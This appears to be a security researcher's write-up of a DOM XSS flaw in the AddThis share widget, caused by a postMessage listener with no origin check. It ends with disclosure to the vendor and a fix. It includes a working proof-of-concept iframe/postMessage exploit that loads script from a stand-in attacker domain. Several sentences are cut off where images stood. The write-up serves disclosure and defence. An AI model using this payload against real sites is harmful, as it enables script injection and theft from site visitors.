TL;DR: AddThis is a share button used by over a million sites. They were all vulnerable to XSS earlier this year. In my previous post I described the pitfalls of the postMessage API. This post will describe how I identified and exploited them on the AddThis widget.
While testing an application using AddThis I noticed that it used postMessage, by checking the global listeners in Chrome Devtools:
To see if they had fallen into any of the pitfalls, I added a breakpoint to the listener and sent a message to the page using “
Examining the listener
The code had no origin check other than that the origin had to be an HTTP/HTTPS page. The expected format of the message could be concluded from line 5364:
I continued the debugger, then sent a message with the correct format, making the code end up on line 5370, calling the “
r” function called another function called “
s” function looked interesting, it seemed like it created a new script element (perhaps DOM XSS?):
To understand what the function did, I deobfuscated it by naming the variables and removing multiline statements:
Reading the unminified version, I came to the conclusion that sending a message formatted like so:
Would add a new script element to the page with the source of “
//ATTACKERDOMAIN/xss.js“. In other words, it was vulnerable to DOM XSS.
An attacker could add scripts to any page using AddThis (DOM XSS). My final exploit looked like this:
<iframe id="frame" src="https://targetpage/using_addthis"></iframe> <script> document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); </script>
I reached out to Matt Abrams (AddThis CTO) who made sure a fix was quickly implemented and pushed to end users. The fix added an origin check to make sure that the message would not be sent from any unknown origin.
In short, postMessage can be (and often is) a source for DOM XSS vulnerabilities. If you are using 3rd party scripts, make sure to examine them and their postMessage implementation.